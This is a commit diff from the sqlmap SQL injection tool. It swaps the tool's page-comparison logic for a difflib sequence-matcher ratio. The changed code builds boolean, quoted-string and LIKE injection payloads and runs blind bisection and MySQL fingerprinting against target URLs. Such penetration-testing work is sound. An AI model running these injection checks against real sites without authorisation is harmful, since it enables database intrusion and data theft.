Major enhancement to make the comparison algorithm work properly also

on url not stables automatically by using the difflib SequenceMatcher
object: this changed a lot into the structure of the code, has to be
extensively beta-tested!
Please, do report bugs on sqlmap-users mailing list if you scout them.
Cheers,
Bernardo

lib/controller/checks.py

@@ -71,11 +71,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
         payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
         trueResult = Request.queryPage(payload, place)
 
-        if trueResult == kb.defaultResult:
+        if trueResult == True:
             payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
             falseResult = Request.queryPage(payload, place)
 
-            if falseResult != kb.defaultResult:
+            if falseResult != True:
                 infoMsg  = "confirming custom injection "
                 infoMsg += "on %s parameter '%s'" % (place, parameter)
                 logger.info(infoMsg)
@@ -83,7 +83,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
                 payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
                 falseResult = Request.queryPage(payload, place)
 
-                if falseResult != kb.defaultResult:
+                if falseResult != True:
                     infoMsg  = "%s parameter '%s' is " % (place, parameter)
                     infoMsg += "custom injectable "
                     logger.info(infoMsg)
@@ -97,11 +97,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
     payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
     trueResult = Request.queryPage(payload, place)
 
-    if trueResult == kb.defaultResult:
+    if trueResult == True:
         payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
         falseResult = Request.queryPage(payload, place)
 
-        if falseResult != kb.defaultResult:
+        if falseResult != True:
             infoMsg  = "confirming unescaped numeric injection "
             infoMsg += "on %s parameter '%s'" % (place, parameter)
             logger.info(infoMsg)
@@ -109,7 +109,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
             payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
             falseResult = Request.queryPage(payload, place)
 
-            if falseResult != kb.defaultResult:
+            if falseResult != True:
                 infoMsg  = "%s parameter '%s' is " % (place, parameter)
                 infoMsg += "unescaped numeric injectable "
                 infoMsg += "with %d parenthesis" % parenthesis
@@ -128,11 +128,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
     payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
     trueResult = Request.queryPage(payload, place)
 
-    if trueResult == kb.defaultResult:
+    if trueResult == True:
         payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
         falseResult = Request.queryPage(payload, place)
 
-        if falseResult != kb.defaultResult:
+        if falseResult != True:
             infoMsg  = "confirming single quoted string injection "
             infoMsg += "on %s parameter '%s'" % (place, parameter)
             logger.info(infoMsg)
@@ -140,7 +140,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
             payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
             falseResult = Request.queryPage(payload, place)
 
-            if falseResult != kb.defaultResult:
+            if falseResult != True:
                 infoMsg  = "%s parameter '%s' is " % (place, parameter)
                 infoMsg += "single quoted string injectable "
                 infoMsg += "with %d parenthesis" % parenthesis
@@ -159,11 +159,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
     payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
     trueResult = Request.queryPage(payload, place)
 
-    if trueResult == kb.defaultResult:
+    if trueResult == True:
         payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
         falseResult = Request.queryPage(payload, place)
 
-        if falseResult != kb.defaultResult:
+        if falseResult != True:
             infoMsg  = "confirming LIKE single quoted string injection "
             infoMsg += "on %s parameter '%s'" % (place, parameter)
             logger.info(infoMsg)
@@ -171,7 +171,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
             payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
             falseResult = Request.queryPage(payload, place)
 
-            if falseResult != kb.defaultResult:
+            if falseResult != True:
                 infoMsg  = "%s parameter '%s' is " % (place, parameter)
                 infoMsg += "LIKE single quoted string injectable "
                 infoMsg += "with %d parenthesis" % parenthesis
@@ -190,11 +190,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
     payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
     trueResult = Request.queryPage(payload, place)
 
-    if trueResult == kb.defaultResult:
+    if trueResult == True:
         payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
         falseResult = Request.queryPage(payload, place)
 
-        if falseResult != kb.defaultResult:
+        if falseResult != True:
             infoMsg  = "confirming double quoted string injection "
             infoMsg += "on %s parameter '%s'" % (place, parameter)
             logger.info(infoMsg)
@@ -202,7 +202,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
             payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
             falseResult = Request.queryPage(payload, place)
 
-            if falseResult != kb.defaultResult:
+            if falseResult != True:
                 infoMsg  = "%s parameter '%s' is " % (place, parameter)
                 infoMsg += "double quoted string injectable "
                 infoMsg += "with %d parenthesis" % parenthesis
@@ -221,11 +221,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
     payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
     trueResult = Request.queryPage(payload, place)
 
-    if trueResult == kb.defaultResult:
+    if trueResult == True:
         payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
         falseResult = Request.queryPage(payload, place)
 
-        if falseResult != kb.defaultResult:
+        if falseResult != True:
             infoMsg  = "confirming LIKE double quoted string injection "
             infoMsg += "on %s parameter '%s'" % (place, parameter)
             logger.info(infoMsg)
@@ -233,7 +233,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
             payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
             falseResult = Request.queryPage(payload, place)
 
-            if falseResult != kb.defaultResult:
+            if falseResult != True:
                 infoMsg  = "%s parameter '%s' is " % (place, parameter)
                 infoMsg += "LIKE double quoted string injectable "
                 infoMsg += "with %d parenthesis" % parenthesis
@@ -262,7 +262,7 @@ def checkDynParam(place, parameter, value):
     payload = agent.payload(place, parameter, value, str(randInt))
     dynResult1 = Request.queryPage(payload, place)
 
-    if kb.defaultResult == dynResult1:
+    if True == dynResult1:
         return False
 
     infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
@@ -274,8 +274,8 @@ def checkDynParam(place, parameter, value):
     payload = agent.payload(place, parameter, value, "\"%s" % randomStr())
     dynResult3 = Request.queryPage(payload, place)
 
-    condition  = kb.defaultResult != dynResult2
+    condition  = True != dynResult2
-    condition |= kb.defaultResult != dynResult3
+    condition |= True != dynResult3
 
     return condition
 
@@ -306,53 +306,13 @@ def checkStability():
     condition &= secondPage == thirdPage
 
     if condition == False:
-        # Prepare for the comparison algorithm based on page length value
+        warnMsg  = "url is not stable, sqlmap will base the page "
-        pageLengths  = []
+        warnMsg += "comparison on a sequence matcher, if no dynamic nor "
-        requestsPages = ( firstPage, secondPage, thirdPage )
+        warnMsg += "injectable parameters are detected, refer to user's "
-
+        warnMsg += "manual paragraph 'Page comparison' and provide a "
-        for requestPages in requestsPages:
+        warnMsg += "string or regular expression to match on"
-            pageLengths.append(len(str(requestPages)))
-
-        if pageLengths:
-            conf.pageLengths = ( min(pageLengths) - ( ( min(pageLengths) * 2 ) / 100 ),
-                                 max(pageLengths) + ( ( max(pageLengths) * 2 ) / 100 ) )
-
-            if conf.pageLengths[0] < conf.pageLengths[1]:
-                warnMsg  = "url is not stable, sqlmap inspected the page "
-                warnMsg += "and identified that page length can be used "
-                warnMsg += "in the comparison algorithm"
         logger.warn(warnMsg)
 
-                kb.defaultResult = True
-
-                return True
-
-        # Prepare for the comparison algorithm based on page content's
-        # stable lines subset
-        counter     = 0
-        firstLines  = firstPage.split("\n")
-        secondLines = secondPage.split("\n")
-        thirdLines  = thirdPage.split("\n")
-
-        for firstLine in firstLines:
-            if counter > len(secondLines) or counter > len(thirdLines):
-                break
-
-            if firstLine in secondLines and firstLine in thirdLines:
-                conf.equalLines.append(firstLine)
-
-            counter += 1
-
-        if conf.equalLines:
-            warnMsg  = "url is not stable, sqlmap inspected the page "
-            warnMsg += "content and identified a stable lines subset "
-            warnMsg += "to be used in the comparison algorithm"
-            logger.warn(warnMsg)
-
-            kb.defaultResult = True
-
-            return True
-
     if condition == True:
         logMsg = "url is stable"
         logger.info(logMsg)
@@ -428,7 +388,8 @@ def checkConnection():
     logger.info(infoMsg)
 
     try:
-        kb.defaultResult = Request.queryPage()
+        page, _ = Request.getPage()
+        conf.seqMatcher.set_seq1(page)
     except sqlmapConnectionException, exceptionMsg:
         if conf.multipleTargets:
             exceptionMsg += ", skipping to next url"

lib/controller/controller.py

@@ -175,18 +175,9 @@ def start():
 
         if not kb.injPlace or not kb.injParameter or not kb.injType:
             if not conf.string and not conf.regexp and not conf.eRegexp:
-                if not checkStability():
+                # NOTE: this is not needed anymore, leaving only to display
-                    errMsg  = "url is not stable, try with --string or "
+                # a warning message to the user in case the page is not stable
-                    errMsg += "--regexp options, refer to the user's manual "
+                checkStability()
-                    errMsg += "paragraph 'Page comparison' for details"
-
-                    if conf.multipleTargets:
-                        errMsg += ", skipping to next url"
-                        logger.warn(errMsg)
-
-                        continue
-                    else:
-                        raise sqlmapConnectionException, errMsg
 
             for place in conf.parameters.keys():
                 if not conf.paramDict.has_key(place):

lib/core/option.py

@@ -25,6 +25,7 @@ Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 
 
 import cookielib
+import difflib
 import logging
 import os
 import re
@@ -570,10 +571,8 @@ def __setConfAttributes():
     logger.debug(debugMsg)
 
     conf.cj              = None
-    conf.pageLengths     = []
     conf.dbmsHandler     = None
     conf.dumpPath        = None
-    conf.equalLines      = []
     conf.httpHeaders     = []
     conf.hostname        = None
     conf.loggedToOut     = None
@@ -586,6 +585,8 @@ def __setConfAttributes():
     conf.port            = None
     conf.retries         = 0
     conf.scheme          = None
+    #conf.seqMatcher      = difflib.SequenceMatcher(lambda x: x in " \t")
+    conf.seqMatcher      = difflib.SequenceMatcher(None)
     conf.sessionFP       = None
     conf.start           = True
     conf.threadException = False
@@ -601,7 +602,6 @@ def __setKnowledgeBaseAttributes():
     logger.debug(debugMsg)
 
     kb.absFilePaths   = set()
-    kb.defaultResult  = None
     kb.docRoot        = None
     kb.dbms           = None
     kb.dbmsDetected   = False

lib/request/comparison.py

@@ -30,7 +30,7 @@ import re
 from lib.core.data import conf
 
 
-def comparison(page, headers=None, content=False):
+def comparison(page, headers=None, getSeqMatcher=False):
     regExpResults = None
 
     # String to be excluded before calculating page hash
@@ -67,38 +67,15 @@ def comparison(page, headers=None, content=False):
         else:
             return False
 
-    # By default it returns the page content MD5 hash
+    # By default it returns sequence matcher between the first untouched
-    if not conf.equalLines and not conf.pageLengths:
+    # HTTP response page content and this content
-        return md5.new(page).hexdigest()
+    conf.seqMatcher.set_seq2(page)
 
-    # Comparison algorithm based on page length value
+    if getSeqMatcher:
-    elif conf.pageLengths:
+        return round(conf.seqMatcher.ratio(), 5)
-        minValue = conf.pageLengths[0]
-        maxValue = conf.pageLengths[1]
 
-        if len(page) >= minValue and len(page) <= maxValue:
+    elif round(conf.seqMatcher.ratio(), 5) > 0.9:
         return True
 
-    # Comparison algorithm based on page content's stable lines subset
-    elif conf.equalLines:
-        counter   = 0
-        trueLines = 0
-        pageLines = page.split("\n")
-
-        for commonLine in conf.equalLines:
-            if counter >= len(pageLines):
-                break
-
-            if commonLine in pageLines:
-                trueLines += 1
-
-            counter += 1
-
-        # TODO: just debug prints
-        #print "trueLines:", trueLines, "len(conf.equalLines):", len(conf.equalLines)
-        #print "result:", ( trueLines * 100 ) / len(conf.equalLines)
-
-        if ( trueLines * 100 ) / len(conf.equalLines) >= 98:
-            return True
     else:
         return False

lib/request/connect.py

@@ -227,7 +227,7 @@ class Connect:
 
 
     @staticmethod
-    def queryPage(value=None, place=None, content=False):
+    def queryPage(value=None, place=None, content=False, getSeqMatcher=False):
         """
         This method calls a function to get the target url page content
         and returns its page MD5 hash or a boolean value in case of
@@ -270,7 +270,7 @@ class Connect:
 
         if content:
             return page, headers
-        elif page and headers:
+        elif page:
-            return comparison(page, headers, content)
+            return comparison(page, headers, getSeqMatcher)
         else:
             return False

lib/techniques/blind/inference.py

@@ -98,12 +98,10 @@ def bisection(payload, expression, length=None):
         while (maxValue - minValue) != 1:
             queriesCount[0] += 1
             limit         = ((maxValue + minValue) / 2)
-
             forgedPayload = payload % (expressionUnescaped, idx, limit)
-
             result        = Request.queryPage(forgedPayload)
 
-            if result == kb.defaultResult:
+            if result == True:
                 minValue = limit
             else:
                 maxValue = limit

lib/utils/parenthesis.py

@@ -76,7 +76,7 @@ def checkForParenthesis():
         payload = agent.payload(newValue=query)
         result = Request.queryPage(payload)
 
-        if result == kb.defaultResult:
+        if result == True:
             count = parenthesis
 
     logMsg = "the injectable parameter requires %d parenthesis" % count

plugins/dbms/mysql.py

@@ -133,7 +133,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
         payload = agent.payload(newValue=query)
         result  = Request.queryPage(payload)
 
-        if result != kb.defaultResult:
+        if result != True:
             warnMsg = "unable to perform MySQL comment injection"
             logger.warn(warnMsg)
 
@@ -161,7 +161,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
                 payload = agent.payload(newValue=query)
                 result  = Request.queryPage(payload)
 
-                if result == kb.defaultResult:
+                if result == True:
                     if not prevVer:
                         prevVer = version